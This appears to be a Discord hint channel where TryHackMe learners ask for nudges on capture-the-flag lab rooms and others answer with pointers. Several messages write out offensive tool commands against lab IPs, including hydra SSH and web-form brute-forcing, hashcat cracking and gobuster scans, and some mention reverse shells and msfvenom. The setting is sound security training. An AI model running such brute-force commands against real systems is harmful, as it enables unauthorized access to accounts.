room-hints

[broken cloud]

on it

[median monolith]

hi, anyone for the foothold on "SET" room?

[alpine lantern]

hey, need hint for the task 43 : https://tryhackme.com/room/zthlinux

idk if i need to gain root access or if it's something else bcs i don't learn how to do it with root access

[arctic crystal]

what have you tried till now @alpine lantern

[alpine lantern]

hmm, tried to go into /etc/shadow but i need Root access too, tried to change permissions on the file but need root permissions, someone tell me i need to use the find command but idk how it can help me if i can't open the txt

[arctic crystal]

look at all the files owned by all user you'll find a file which you haven't used till now, you are currently logged in as user shiba4 and you don't have su permissions so find user which have those permission

[alpine lantern]

i have shiba1 to shiba4 for perm

[arctic crystal]

see man page of find to know more on how to use that command

check all users

[simple shoal]

he completed the find command room yesterday

[alpine lantern]

ye ^^

[simple shoal]

x)

[alpine lantern]

i saw a file got a shadow user

[arctic crystal]

then you should know how to play with find command

[alpine lantern]

ye sure 🙂

[arctic crystal]

dig harder you'll find the answer

[alpine lantern]

oh yeah w8 i'll try

ye

[arctic crystal]

room: CC Pen Testing
last task: CTF
I found the hidden directory and the hint given in room tells me to enumerate the site with hidden directory with different extensions
I have tried html,txt,jpg,php with all 3 wordlists big,small,medium
I haven't got anything though any hint for it

[sinful plaza]

Hello am stuck on the CherryBlossom room journal flag|| i have the png image already but when running the check_png.sh|| i find nothing pls what am i missing??

[broken cloud]

the note says when u find the script put your all input in quotes ,

any body know what does that mean i have the script

[last stirrup]

Crypto Funhouse room: task 2 question 4 ; please help me

[trim haven]

#room-hints is here for people who want a "pointer" towards the room they are completing, and not necessarily a spoiler. As such, when asking a question, be sure to include:

• What room you are on
• At what stage are you stuck exactly? Enumerating? Exploiting? Priv esc?
• What techniques / tools have you tried so far? Just so that we know how to hint you in the right direction without repeating what you've already done

[glad hull]

https://tryhackme.com/room/owasptop10 I am really stuck here... can anyone help me?

like how do I get to the root directory

I can connect there through putty, but I don't have the password...

I don't know how to get it

oh maybe I know

oh no I don't

[open storm]

#room-hints is here for people who want a "pointer" towards the room they are completing, and not necessarily a spoiler. As such, when asking a question, be sure to include:

• At what stage are you stuck exactly? Enumerating? Exploiting? Priv esc?
• What techniques / tools have you tried so far? Just so that we know how to hint you in the right direction without repeating what you've already done

[glad hull]

oh

well Task 6 Day 1

I sent the link

I tried all the commands to try it said

oh I found the file

the text one

[open storm]

You dont need a password to connect, this web server has a command injection vuln. You can get a shell by making it execute a command directly

[glad hull]

yeah but I forgot some of the commands

[open storm]

Pentestmonkey reverse shell may be a good resource for this case then

[tiny ivy]

any hints for root privesc on Wonderland

[trim haven]

#room-hints is here for people who want a "pointer" towards the room they are completing, and not necessarily a spoiler. As such, when asking a question, be sure to include:

• What room you are on
• At what stage are you stuck exactly? Enumerating? Exploiting? Priv esc?
• What techniques / tools have you tried so far? Just so that we know how to hint you in the right direction without repeating what you've already done

[tiny ivy]

i am on hatter's ssh box and i have tried linpeas and searched a lot but not able to figure out any attacks for root privesc

[ripe hedge]

Linpeas should find it

Though it's not a terribly well known feature

[tiny ivy]

@ripe hedge not getting any clue on what to look for ... P.S. looked a lot

[stuck fractal]

You don't need a clue what to look for

You just need to run some enum scripts

See what it picks up

[ripe hedge]

Linpeas usually highlights interesting things

[stuck fractal]

Run it on a standard Ubuntu install, compare and contrast

[ripe hedge]

That helps as well

[tiny ivy]

thanks i got it

i never gave any thought to that section of linpeas before 😅

Also i learned at each step in this box

[stuck fractal]

That was the goal when I built it

[stuck fractal]

Please don't show passwords like that

[mental bobcat]

apologises

can someone please help me out with the room learn linux , task 43

[stuck fractal]

#room-hints is here for people who want a "pointer" towards the room they are completing, and not necessarily a spoiler. As such, when asking a question, be sure to include:

• What room you are on
• At what stage are you stuck exactly? Enumerating? Exploiting? Priv esc?
• What techniques / tools have you tried so far? Just so that we know how to hint you in the right direction without repeating what you've already done

[mental bobcat]

• What room you are on: Learn linux
• At what stage are you stuck exactly? Task43. I cant authenticate to the nootnoot user

[stuck fractal]

Then maybe you're typing the password wrong

[mental bobcat]

im not man , like im trying 😫

[stuck fractal]

I mean, if you're typing the password correctly and it's not letting you, then the password is wrong

But I bet you're typing it wrong

[hollow widget]

not really looking for a hint but recently i signed up for the complete beginner learning path. i completed the linux basics and linux challenge rooms and next up was tmux. in the tmux room it asked to run an nmap scan against the VM, but as i stated i’m a complete beginning and have never used nmap should i do the nmap room before the tmux room? thanks!

[hazy lodge]

Room: Crack the hash
Hash:279412f945939ba78ce0758d3fd83daa
Format: MD4
Status...........: ExhaustedI think that means none of the words matched the hash.

could you give me a hint?

[white salmon]

You don't necessarily have to if it tells you exactly what nmap command to run

nmap is fairly straightforward, but it doesn't hurt to be familiar with it as one of the first things to learn

[hollow widget]

ok thanks

i think i’ll do intro to python and nmap room then tmux

[white salmon]

Sure, tmux is just a utility thing for multi-tasking

so nmap and tmux aren't very related at all

[hollow widget]

ok thanks that’s good to know

[hazy lodge]

Room: Crack the hash
Hash:279412f945939ba78ce0758d3fd83daa
Format: MD4
Status...........: ExhaustedI think that means none of the words matched the hash.

could you give me a hint?
$ hashcat "279412f945939ba78ce0758d3fd83daa" /usr/share/wordlists/rockyou.txt -m 900

[stuck fractal]

Or you're using the wrong mode

It might not be in rockyou

[hazy lodge]

900 | MD4 | Raw Hash

let me try other wordlists

[stuck fractal]

Why not try online crackers?

It's md4 without a salt

perfect for online rainbow tables

[hazy lodge]

is it a lot faster?

[stuck fractal]

I mean, it's literally just a lookup rather than manually testing each input word

So, yes. Massively.

[hazy lodge]

why do I even bother learning hashcat then 😄

[stuck fractal]

because online rainbow tables only work for unsalted hashes

And only works if the plaintext is in the wordlist they used to create the table (which tends to be bigger lists than rockyou, and they add to them when they want)

[hazy lodge]

I'll have to look up unsalted hashes. you just made it clear that I know nothing about hashes 🙂

[stuck fractal]

Salts are a thing you add to the plaintext before hashing it

So that 2 users with the same password wouldn't have the same hash

sha512crypt, bcrypt, a few more, use a salt by default

So you can't use online rainbow tables (or any rainbow tables) to crack them

[hazy lodge]

is there a way to figure out if a hash is salted

let me read up on hashes

[stuck fractal]

The salt is stored in the database

There's a room on this

https://tryhackme.com/room/hashingcrypto101

[broken cloud]

hi all i have few que related to owasp day 9 task 30 component with known vulnerability like i have completed the taks some how by following the instruction but what i did was quite unclear as i was doing that for the first time i also google a bit but didnt get the satisfied ans .

[stuck fractal]

I don't actually see what your question is.

[broken cloud]

i am writing a min!😅

as que says there is web app with vuln. and i can found with help of google i did now it say after getting the script i have to put quotes in input i didnt get that so i run the scirpt without any changes it didnt work first few time becuz i was not sure with syntax in task 29 there was a example how to run the scrip :: python <scriptname><target ip><port_num>. but that didnt work it showed error then i tried few time without port no i suddenly i got the shell now after that i was not able to even change dir. i dont know i type cd .. or cd <location> but i didnt work but when i type the syntax given in que that gave mw some output the syntax was: wc -c <location> i didnt undertand how that work

[stuck fractal]

Some shells don't let you change directory, or don't preserve the new directory

Sounds like you need to read the manual for wc

[broken cloud]

wc is use for count right

[stuck fractal]

You need to do your own research

[broken cloud]

gotcha

[stuck fractal]

before asking

[broken cloud]

also why did i not get shell while i run the cmd for the first time

[stuck fractal]

because you did something wrong? IDK, you haven't provided screenshots or anywhere near enough information for anyone to answer that question

[broken cloud]

well i already done that part but i was couries how i did that that way i dont have any screen shot thought thx for time and advice

also the que say to give quotes to input in scripts any idea about that

[stuck fractal]

Sometimes you need to, soemtimes you don't

I didn't need to

[broken cloud]

well the thing was if i need to add the quotes where should i add that

[stuck fractal]

around commands, like it tells you

[broken cloud]

i have a screent shot of script can i share here?

[stuck fractal]

It's not actually relevant to share

You don't do anything to the script

It says all of your input in quotes

[broken cloud]

yes input means what it try to refer i didnt get that like we can not add to the input whice call the value we can only qoute which we want to print right so i got confused

[stuck fractal]

Whatever you just said, it's incredibly unclear

[broken cloud]

sorry for that😅

[grave rain]

Hi

Im rn in the last task of x86 64

And in the hint it says to reveese the password

I was just wondering where u could find that part while analysing the binary

[white salmon]

"Reversing" is just a function/set of instructions designed to repeat until finished

Find out where the "processing" is done, the keyword is "loops"

[grave rain]

The doubt i have is related to spoilers

Can i pm you?

I got the answer but i got it through hints

[terse kiln]

Hello, i need help in the Linux walk through room, task 18 question 2, it says what is the value of the home environment variable I tried doing echo $home but it doesnt return anything. What could be the problem? Thanks

[stuck fractal]

Variables are case sensitive

[terse kiln]

oh, thanks man

[clear quail]

Hi guys. I am sitting here in the https://tryhackme.com/room/linuxctf and trying to find Flag 15. (Can you find information about the system, such as the kernel version etc.) - Unfortunatelly i still cannot find this info after 30 minutes of research. I tried hostnamectl values, did not work. uname with all parameters etc. I also checked the /procs/ directory. Not no chance. Thank you for any tipps

[stuck fractal]

The hint tells you where to look

[clear quail]

something with ||*release|| But i cannot find it. I checked all files with ||release|| in the name and did a system wide search.

[stuck fractal]

I don't believe you

Otherwise you would have found it

[clear quail]

mmh ok. then i need to look closer. damn it 🙂

but i will do this tomorrow. time to go to bed now.

[broken cloud]

beaunas noches!

[terse kiln]

hello guys, I need help in the linux walkthrough room, task 33, I dont know how to find the shiba4 binary, i did this find / shiba4 and find / shiba4.bin but they didnt work. what could be the problem? thanks

[stuck fractal]

I recommend going back and learning how find works

[terse kiln]

ok, thanks

[stuck fractal]

You should be doing that when you get stuck already

And consulting google

[terse kiln]

yeah but it seemed to be working

[white salmon]

You're missing something essential in your command.

[stuck fractal]

Clearly it wasn't working

[terse kiln]

yeah

[nimble swift]

Vulnversity room Task 3 #2, I think i'm approacing with a wrong method by blindly choosing a random file for goBuster. I would like to get a hint on what im doing

[stuck fractal]

How about using a directory wordlist?

[nimble swift]

@stuck fractal the command only works with file but not with directory

[stuck fractal]

Wat

A directory wordlist. A wordlist of web directories

[nimble swift]

||gobuster dir -u http://<IP>:3333 -w /usr/share/wordlists/<file of choice> ||

[silk prairie]

Hello guys. Anyone guve ma a hint on django room. Last task. I managed to find the hidden flag but I'm really struggling to get the user and panel admin

[stuck fractal]

Yep, that's correct @nimble swift

[nimble swift]

@stuck fractal but my problem is don't think the file I suppose to use is in there

[stuck fractal]

Are you on Kali?

[oblique cliff]

You need to go deeper into gobuster wordlists directory and then choose a file

[nimble swift]

@stuck fractal yup

[oblique cliff]

Or dirsearch wordlists. Or any of those wordlists directories

[stuck fractal]

@nimble swift Then there are a lot of directory searching wordlists in /usr/share/wordlists

They're organised into dirs within that dir

[nimble swift]

@oblique cliff look like I have to look into each file, right?

[stuck fractal]

No

Just try a directory bruteforcing wordlist

[oblique cliff]

I leave you in James’s more than capable hands

[nimble swift]

@stuck fractal sorry cannot see bruteforcing wordlist in /wordlists

[stuck fractal]

No, you can't. Because it's not called that.

Have you tried researching the names of the files and folders you find there?

Find out what their purposes are

[nimble swift]

I see, I am going to have a look into these directories first

[stuck fractal]

The names of the directories probably mean more than the names of the files inside them

[nimble swift]

@stuck fractal I found the directory that contain lists of directories ||dirbuster|| but it incorrect

[stuck fractal]

What is incorrect?

Room, task, question, what are you doing?

[nimble swift]

Room: Vulnversity, Task3 #2.

My question is about the file I chosen for gobuster is not the right one

[stuck fractal]

It doesn't ask you for that file

You need to use gobuster

[nimble swift]

I am using the given command for gobuster but I have to give it a file

[stuck fractal]

Yes

What is the problem?

What's telling you that the file is not the right file?

[nimble swift]

no result from files I used

[stuck fractal]

What files did you use?

[nimble swift]

||fasttrack.txt||

[stuck fractal]

That's a password list

As is rockyou

[nimble swift]

atm im running ||"rockyou.txt"|| but it will take a few hour

[stuck fractal]

Rockyou is a password wordlist

Stop

You do not use rockyou for directories

[nimble swift]

inside "dirbuster" there are many files for directories

[stuck fractal]

Yep

and dirb/ too

[nimble swift]

yup

[stuck fractal]

They are all directory wordlists

try some out

Start with the small ones

[nimble swift]

😦

[stuck fractal]

dirb has small ones

[nimble swift]

sound like a good plan 😛

thanks

[nimble swift]

@stuck fractal This is very cool, after I got my results from gobuster I use them on firefox to check for "upload form page"

[stiff pivot]

What can we load into Comparer to see differences in what various user roles can access? This is very useful to check for access control issues Can Anyone help me in this question?

[verbal forum]

hi I m doing some basic room just as morning warmup, i m stuck on question about nmap. I can't find correct answer (I mean I know the correct parameter but it said I m wrong) may be because my english is not good enough. Any one to give a push?

[final mortar]

Maybe you can mention what question is that and what do you think the answer is

[verbal forum]

@final mortar the question is "how do you do a "ping scan" . to me it is -sP but it say no

[ashen matrix]

Its not that. Look at the manual again.

[verbal forum]

@ashen matrix thank you got it.

[spring tartan]

I really needs help with this one i CC Pen testing, Nikto . I have been looking through many manuals and keeps returning back to -mutate+3 which is not the right answer.

[trim haven]

It's only looking for the name of the plugin not the command

https://github.com/sullo/nikto/wiki/Plugin-list

On here it will state Plugin: Plugin_Name

[spring tartan]

Ok thanks 🙂 L'll try to see if I can find the name of the plugin

[hazy lodge]

Task 2``````#3 
Hash:$6$aReallyHardSalt$6WKUTqzq.UQQmrm0p/T7MPpMbGNnzXPMAXi4bJMl9be.cfi3/qxIf.hsGpS41BqMhSrHVXgMpdjS6xeKZAs02.

Salt: aReallyHardSalt
Rounds: 5```
I used online hash analyzer for previous levels. I don't know how to go with this. I tried analyzing the hash without the salt and it is unknown either way.

[arctic crystal]

Online hash analysers can't crack hashes which contain salt

You need to use hashcat for it

[hazy lodge]

I just want to know what hash algorithm is used so that I can set mode for hashcat

[arctic crystal]

Google it

Google on how hash structure is classified

You'll find out how to identify hash type

[hazy lodge]

thanks

[trim haven]

Hashcat has a website for example hashes

[arctic crystal]

Google on how hash structure is classified
Hey @trim haven this search query won't give the answer

[trim haven]

Keyword examples

[arctic crystal]

I know how I found out that answer but what will be general search query for it

[trim haven]

I completed the exact room by looking at examples and seeing which ones matched the current hash

[arctic crystal]

For some reason I just googled what is ||$6$|| hash type 😅

And then somewhere I got the structure of the hash

[brave holly]

Hi, please give me hint about room 'Recovery', i am in the start

[oblique cliff]

#room-hints is here for people who want a "pointer" towards the room they are completing, and not necessarily a spoiler. As such, when asking a question, be sure to include:

• What room you are on
• At what stage are you stuck exactly? Enumerating? Exploiting? Priv esc?
• What techniques / tools have you tried so far? Just so that we know how to hint you in the right direction without repeating what you've already done

[alpine remnant]

I'm in the basic pentesting room and running: hydra -l jan -P /usr/share/wordlists/rockyou.txt 10.10.136.178 -t 4 ssh
but it takes forever.

I get 44 tries in 1 min

[ripe hedge]

-t 4 might take a while with rockyou

[stuck fractal]

You can safely use 16 threads on that room

[ripe hedge]

You can probably get away with more but it might also break the server

[alpine remnant]

Im running it on the browser based kali machine. I can just find the info 3Ghz intel. But how many threads does it have?

[ripe hedge]

As many as you want? As for cores that's a good question

[alpine remnant]

sorry I mean cores.

[ripe hedge]

Doesn't really matter for threads

[stuck fractal]

Im running it on the browser based kali machine. I can just find the info 3Ghz intel. But how many threads does it have?
@alpine remnant Doesn't matter

[ripe hedge]

Threads !=processes

[oblique cliff]

Can I has nudge on Wonderland from Alice :(

looked very carefully through all the enumeration scripts and did manual enumeration but I haven't been able to find anything I can take advantage of

||the python file that we can run as hatter is uneditable and I can't delete it and write over it, and then the 2 things with capabilities set only can be run by hatter, which I am not||

[ripe hedge]

The python file isn't editable but it does something interesting

[oblique cliff]

blargh ok i guess i just skimmed what it does, ill look closer

[ripe hedge]

Wait

Who are you before I give false info

[alpine remnant]

Okay, got it. I was just a little confused if -t is refering to the physical core count or threads.

[oblique cliff]

people call me Bob

but i am jared

[ripe hedge]

On the server, silly

[oblique cliff]

Can I has nudge on Wonderland from Alice :(
@oblique cliff

i know xD I'm alice

[ripe hedge]

Right ok

Info stands

[oblique cliff]

cool, thanks

[ripe hedge]

There's also another part to that puzzle

[oblique cliff]

oh nos

[ripe hedge]

You should have found it while enumerating, otherwise enumerate harder

[stuck fractal]

There's also another part to that puzzle
@ripe hedge Really?

[oblique cliff]

i mean i found a lot of stuffs, but im not sure to which stuffs youre referring

[ripe hedge]

Let me check my notes it's been a while

[stuck fractal]

i mean i found a lot of stuffs, but im not sure to which stuffs youre referring
@oblique cliff sudo -l

[ripe hedge]

Yeah that

Was assuming that was too big a hint though

[stuck fractal]

I mean it's generic advice on any box

Especially where you have a password

[oblique cliff]

unless theres some way to pipe an extra command into that sudo entry (which I don't know how to do if so), or something in the secure path that i dont know about either I don't really see how that helps

||all the file does is choose 10 random entries from the list, running it as rabbit doesnt make a difference that i can see||

[stuck fractal]

type into google

python privilege escalation

It's research time

[oblique cliff]

https://giphy.com/gifs/star-wars-181OUQHOCfde0

wooooooooooooooooow

very very very cool @stuck fractal

[hushed elbow]

Hello, i am having issues with find agent name in task 2 #3 room agent sudo

*finding

[keen willow]

Hello, i am having issues with find agent name in task 2 #3 room agent sudo
@hushed elbow tell me any agent name you found ?

[hushed elbow]

haven't found a way to find it, but i used the hint to change the UA to chrome

[keen willow]

who told you to change UA, exactly ?

[hushed elbow]

from the hint section, i was told to change it

[stuck fractal]

So

Maybe google chrome change user agent?

[keen willow]

hint is correct but you got it wrong, ||playing with words|| , you tried openning webpage ?

plus take @stuck fractal advise. combine hint you shared with the msg with the one on webpage (msg by another agent).

[hushed elbow]

Thanks, was able to get it

[oblique cliff]

I haven’t tried anything else so I’m not looking for a hint, but just out curiosity @stuck fractal why ||if that tea party binary is setting its id to hatter, when I overflow the input why do my commands still execute as rabbit||?

[stuck fractal]

Lmao

[oblique cliff]

Don’t laugh at me 😭

[stuck fractal]

You can't overflow it

Do some RE on it

[oblique cliff]

I did

[stuck fractal]

You can't overflow it

you should know that from the RE

[oblique cliff]

I thought I could overflow the char function, guess not

[stuck fractal]

It gets a single character

And discards it

[oblique cliff]

Oh

Huh ok

[tidal sedge]

The teaparty binary was pretty fun 😀

[stuck fractal]

@regal oriole Wrong channel

[regal oriole]

Sorry

[oblique cliff]

So not a rabbit hole, noted when I boot back up

[tribal surge]

hi i have issue in linux room task 11

[fluid flint]

any hints on Recovery

[stuck fractal]

hi i have in linux room task 11
@tribal surge Please give more detail if you'd like help or a hint

[trim haven]

#room-hints is here for people who want a "pointer" towards the room they are completing, and not necessarily a spoiler. As such, when asking a question, be sure to include:

• What room you are on
• At what stage are you stuck exactly? Enumerating? Exploiting? Priv esc?
• What techniques / tools have you tried so far? Just so that we know how to hint you in the right direction without repeating what you've already done

[copper epoch]

hi i have issue in linux room task 11
@tribal surge screenshot of that task will be helpful, maybe with some context

[stuck fractal]

And some basic details of your issue

Seeing as we can't help if we don't know what's wrong

[wary ocean]

The teaparty binary was pretty fun 😀
@tidal sedge I overestimated it so much and then realized how simple the concept was

[stuck fractal]

That was the goal

[oblique cliff]

Aaaaaand I stop reading now

[tribal surge]

my question is where should i create the file

[trim haven]

In the directory you’re in currently

[tidal sedge]

Hmm, I remember RE'ing it when the box dropped, fun times, once you know what to do on wonderland it's pretty simple, but still fun

[oblique cliff]

I mean I would argue most boxes are pretty simple after you’ve completed it

[brave holly]

Hi, please give me hint about room 'Recovery', i am first flag

[trim haven]

At the start is vague

[brave holly]

I've tried all my knowlege, the start means first flag

[stuck fractal]

I've tried all my knowlege well that really tells us nothing

[brave holly]

)

[woven mirage]

What exactly have you tried?

[wraith tapir]

You should ask your exact problem tbh

[brave holly]

Ssh brute, gobuster, port knocking, searching for exploit To Apache,

[wraith tapir]

They give you ssh creds

[brave holly]

Yeah

[wraith tapir]

What are you bruteforcing?

[brave holly]

There are other port with ssh and a other user

[wraith tapir]

What other user? And how do you know the other user

[brave holly]

By the description

[wraith tapir]

Have you tried ssh with given creds?

[woven mirage]

the theme of the room is reversing the damage that the malware has done

so start by trying to see what the malware did

[brave holly]

I can't explain that is not normal CTF

[wraith tapir]

Wut

[woven mirage]

didnt understand what you said there

[wraith tapir]

You can't just throw anything there, you gotta understand whats happening

[oblique cliff]

Nudge for ||teaparty|| in wonderland? I ||REd|| it but i cant see anything thats exploitable

[stuck fractal]

Look at it a bit closer

See what it's doing

What can you manipulate?

[oblique cliff]

||the date...?||

[stuck fractal]

Try it and see™️

[oblique cliff]

i cannt change ||date|| without sudo privs 😦

yes yes ill research more

[stuck fractal]

i cannt change ||date|| without sudo privs 😦
@oblique cliff Go do kenobi

[oblique cliff]

NOOOOOOOOOOOOOOOOOOOOOOOOOOOOO

noooooooooooooooooooooooooooooooooooooooooooooooooooooo

thank you 😭 so sad

[stuck fractal]

Or commonlinuxprivesc

[oblique cliff]

yes yes i understand already

the nooooooo was cuz i cant believe i didnt notice that

[white salmon]

does powershell run with the same permissions as CMD right, they are based both on the user perms?

(I googled and didnt find anything conclusive btw, just confirming)

[oblique cliff]

@white salmon

yes

I assume its intended that I dont end up in ||hatter|| group when i exploit ||teaparty||?

or did i fork that part up

[stuck fractal]

I assume its intended that I dont end up in ||hatter|| group when i exploit ||teaparty||?
@oblique cliff ||you get given the password so you can use su or ssh||

[oblique cliff]

aw man, again think harder jared!!

[white salmon]

thanks buddy

[hidden flax]

hello quick question; first day using site and im doing the research room right now and im just stuck on the last question about "If a password hash starts with $6$, what format is it (Unix variant)?" im missing something cause I found out that its something called Bcrypt and it uses SHa-512 hash but thats not the answer its looking for so im a bit lost now

[oblique cliff]

its looking for something a bit more specfic than that, but youre on the right path

or rather, you're right, you just need to get the naming convention right @hidden flax

to make my response clearer

[hidden flax]

ahhh dang

[astral smelt]

you're close but that's not quite the answer

[hidden flax]

haha

[hollow widget]

i’m in the common privesc room and i’m supposed to use msfvenom to make a payload for a cron exploit. when i try to run the code it says msfvenom command not found

[oblique cliff]

did you try googling the exact question?

[astral smelt]

type it in again on google and see if you can find it

[oblique cliff]

@hollow widget are you calling that command on your attacker machine or target

[tidal sedge]

@hollow widget Run msfvenom on your host machine

[hollow widget]

ok

thanks

[stuck fractal]

@hidden flax It's also not bcrypt

Bcrypt starts $2$

[oblique cliff]

@stuck fractal well, you have successfully driven me bonkers with this room, so good job. Fun now that its done

[stuck fractal]

The sequel is worse

[oblique cliff]

yea, ill do that one next decade

[stuck fractal]

It'll be out pretty soon

[oblique cliff]

and ill laugh as people come in here asking questions that i cant answer

[stuck fractal]

why did nmap break

why does it say my nmap scan will take 8 weeks

[oblique cliff]

oh no, thats so evil

6 weeks is my max waiting time when scanning

[white salmon]

🤣

[tidal sedge]

@stuck fractal I assume that's the ports one?

[stuck fractal]

I take the 5th

[tidal sedge]

🙂

[hidden flax]

ah im still not able to find it ; the hint says __cry all im seeing is how AES uses it and that it was created by NSA in 01 any other hints as far as what i can search ?

[stuck fractal]

wat

I don't think those are correct

[hidden flax]

i know i cant find anything about what SHA-512 is aside from it being from sha-2

im just lost

ill figure it out eventually

[stuck fractal]

i know i cant find anything about what SHA-512 is aside from it being from sha-2
@hidden flax It's not sha512 though

Sha512 doesn't include a salt and doesn't have a prefix

it's related

[hidden flax]

okay so thats not even in the right direction then ? ill move past it

[stuck fractal]

It's related to sha512

But sha512 doesn't have a prefix

And doesn't include a salt

[humble badger]

Hey guys, when I try gobuster it says unable to connect, to <ip> request canceled while waiting for connection

first time i did it it did work tho

[stuck fractal]

Bad VPN

[hazy lodge]

I need help with agent sudo room

I got into ftp server
and there is this file telling me
All these alien like photos are fake! Agent R stored the real picture inside your directory. Your login password is somehow stored in the fake picture. It shouldn't be a problem for you. There are 2 image files, I dumped both of the files and couldn't find anything

[stuck fractal]

Stegggggg

[hazy lodge]

root:~/agent-sudo# strings cutie.png | grep steg```

I think I am lost

[stuck fractal]

Steg

Strings isn't really steg

Try some steganography tools

[ripe hedge]

here: https://0xrick.github.io/lists/stego/

[hazy lodge]

thank you guys

[humble badger]

@stuck fractal how do I fix the bad vpn? I tried reconnecting etc

sorry i'm new to all this

[stuck fractal]

#site-support follow the VPN troubleshooting script

[humble badger]

Thankyou

[humble badger]

Any tips on vulnversity: compromise the webserver excercise 1? Whenever I try to upload something it says extension is not allowed, but it's the wrong answer

[white salmon]

There's a specific kind of extension allowed- it's specifically one that enables you to use a reverse shell

see if you can find out which extension is useful for reverse shells

[humble badger]

is there like a tool for it?

Sorry I'm really new to all this

[stuck fractal]

is there like a tool for it?
@humble badger Yes, it walks you through that

[white salmon]

^

But if you're really curious, https://www.acunetix.com/blog/web-security-zone/what-is-reverse-shell/

idk if this will answer your question necessarily, but it might point you in the right direction

[humble badger]

Thanks guys 🙂

[white salmon]

Have people used this exploit https://www.exploit-db.com/exploits/39161 in the "steel mountain room" ? After correcting some python errors and executing it the exploit gets blocked in the first request, without even making a request to the local web server... result:"curl: (28) Failed to connect to 10.10.169.149 port 8080: Connection timed out"

ps: the exploit is mentioned in task 4

[stuck fractal]

Sounds like VPN issues

Or the wrong port

[white salmon]

the ip's and ports are all right

I also tested my web server and worked, weird

nevermind, redeployed and it works.

[terse kiln]

hello, I need help in the linux walkthrough room, the last task (43) and basically, it asks us to find the flag in the file /root/root.txt, i have tried nano, cat, chmod, chown, grep, i have tried switching users, i tried viewing the password for shiba3, but it is the only one that has permission denied. What could I be doing wrong? Thanks

[white salmon]

You'll have to find somebody who does have access to /root/root.txt

Are you sure you've checked every user?

[terse kiln]

no

i will check know

now

[terse kiln]

I tried it with shiba1, shiba2, shiba4 and noot. However I cannot find the passwords to shiba3 or nootnoot

[white salmon]

Maybe those are the clues then :)

[terse kiln]

yeah

[white salmon]

Don't just give up because you can't take the most direct path to root

[terse kiln]

will i have to login to another account to get to root or no?

[graceful sun]

anyone that can DM me for help on recovery? i got first 2 flags ..... had some questions.

[white salmon]

That's what you'll have to find out

[terse kiln]

okay

[terse kiln]

hey man, i still didnt figure it out. I navigated basically everywhere in the computer trying to find clues, but i cant find anything

[oblique cliff]

Check the files owned by each user, one should stand out @terse kiln

[terse kiln]

@oblique cliff Ok, thanks

[terse kiln]

@oblique cliff I checked the files owned by each user by doing find / -user USERNAME. but i didnt find anything, there were too many files and it was hard to find an important one

[oblique cliff]

Did you filter out the errors

[terse kiln]

no

[oblique cliff]

Google how to throw the errors into the abyss

[terse kiln]

ok, thanks

[oblique cliff]

And that’ll narrow it down greatly

Linux find command filter out errors

[short fox]

@graceful sun I’m working through it, still missing a couple but I’m happy to help if I can.

[keen willow]

room haskell, getting myhusk: Network.Socket.connect: <socket: 3>: does not exist (Connection refused) on reverse shell, any idea ?

[arctic crystal]

task 22 day 17 ```
first question, In hint it is given that password should be cracked within 30 passwords in rockyou.txt. I have tried to login using molly, Molly, mOlly and few more but I'm not getting the password am I doing something wrong?

[eternal brook]

Hey in break the cage room || deoided dad_tasks to base 64 but can't decode|| it further stuck there also found this || audio file .MP3 that I think has something hidden || but can't find any tools to extract msg from ||.MP3 file||

[arctic crystal]

https://tryhackme.com/room/ccstego check this room for finding that tool

I don't think though that you can extract the data from .mp3 file using the tool given in this room

google on it

[eternal brook]

Yea even I couldn't find much on mp3 file there was info on .wav files only mostly...

Thanks though :)

[arctic crystal]

task 22 day 17 ```
first question, In hint it is given that password should be cracked within 30 passwords in rockyou.txt. I have tried to login using molly, Molly, mOlly and few more but I'm not getting the password am I doing something wrong?

?? any hint for this

[eternal brook]

Haven't done that yet...

Looks like there must be other usernames that you should try

Just guessing...

[arctic crystal]

yeah I'll look into that

[toxic scarab]

@arctic crystal if you don’t get anywhere you should move to #room-help and post a screenshot of the command you are trying there.

[arctic crystal]

I haven't checked writeups yet, So I didn't move to #room-help

[toxic scarab]

My guess is that you don’t have your hydra syntax 100% correct.

[eternal brook]

Just looking at the room can you send ss of your command

Hydra one

[arctic crystal]

this is what I used ||hydra -l molly -P /usr/share/wordlists/rockyou.txt 10.10.149.211 http-post-form "/login:username=^USER^&password=^PASS^&Login=Login:Your username or password is incorrect."||

[eternal brook]

The page is just /login?

Shouldn't be .PHP or some extension...

Rest looks fine according to me...

[arctic crystal]

just login

[eternal brook]

Try typing just incorrect

In the failure part

[arctic crystal]

ok

still not working

[toxic scarab]

Read the write up

[arctic crystal]

ya I was going to that now

[toxic scarab]

It will work eventually.

[arctic crystal]

WTF that hint is totally misleading

[mossy obsidian]

it worked for me in less than a second

[eternal brook]

The syntax seems fine haven't done that part though...

[arctic crystal]

you mean ssh password or web-server password

it worked for me in less than a second
@mossy obsidian

[mossy obsidian]

web-server

though the ssh was only a few seconds

[arctic crystal]

can you share what you used exactly

[eternal brook]

Maybe issue with your VPN...

Try re deploying the machine...

[arctic crystal]

Maybe issue with your VPN...
@eternal brook No I checked the writeup, The hint given in room is there to troll us

[toxic scarab]

@native kelp I’m sure he appreciates it, but it would be better in #522158404614225920

[arctic crystal]

everything is right but password gets cracked at around 900k+

[mossy obsidian]

You've got i

everything is right but password gets cracked at around 900k+
@arctic crystal you've got it now?

[native kelp]

I swear to god, i did that room too

[arctic crystal]

ya I got but still can you share what you used because even writeups say that it would take too long to crack the password how you got it in seconds?
@mossy obsidian

[native kelp]

MY PC went brrr

[eternal brook]

The hint was " not to use hints again ever"😂

[native kelp]

Don't do that lol. Keep that password like in first 200 words of rockyou

[arctic crystal]

The hint was " not to use hints again ever"😂
@eternal brook Seriously dude

[mossy obsidian]

mine was ex

ya I got but still can you share what you used because even writeups say that it would take too long to crack the password how you got it in seconds?
@mossy obsidian
@arctic crystal Mine was exactly the same as yours except using an environment variable for the IP. Have you performed a sort on the rockyou.txt file in the past?

[arctic crystal]

Don't do that lol. Keep that password like in first 200 words of rockyou
@native kelp Ya that's a good idea

No

[mossy obsidian]

strange, the only reason I can think of that you didn't hit it quicker is that your wordlist is in a different order

[arctic crystal]

ya that's how dictionary attacks work😕

[eternal brook]

Hey in break the cage room || deoided dad_tasks to base 64 but can't decode|| it further stuck there also found this || audio file .MP3 that I think has something hidden || but can't find any tools to extract msg from ||.MP3 file||
@eternal brook anyone?

[toxic scarab]

Hint: spectrograph

[eternal brook]

Ok thanks:)

[eternal brook]

Is there some problem with the reverse shell I get as cage in break th cage room?

Sometimes it's sometimes it just hangs I've already rebooted the machine twice...

[trim haven]

Hmm

I’m not aware of any issues like that

But as you’re unsubscribed it’s highly likely that that’s just the machine being slow, have you tried running the VPN script to see if it’s your VPN?

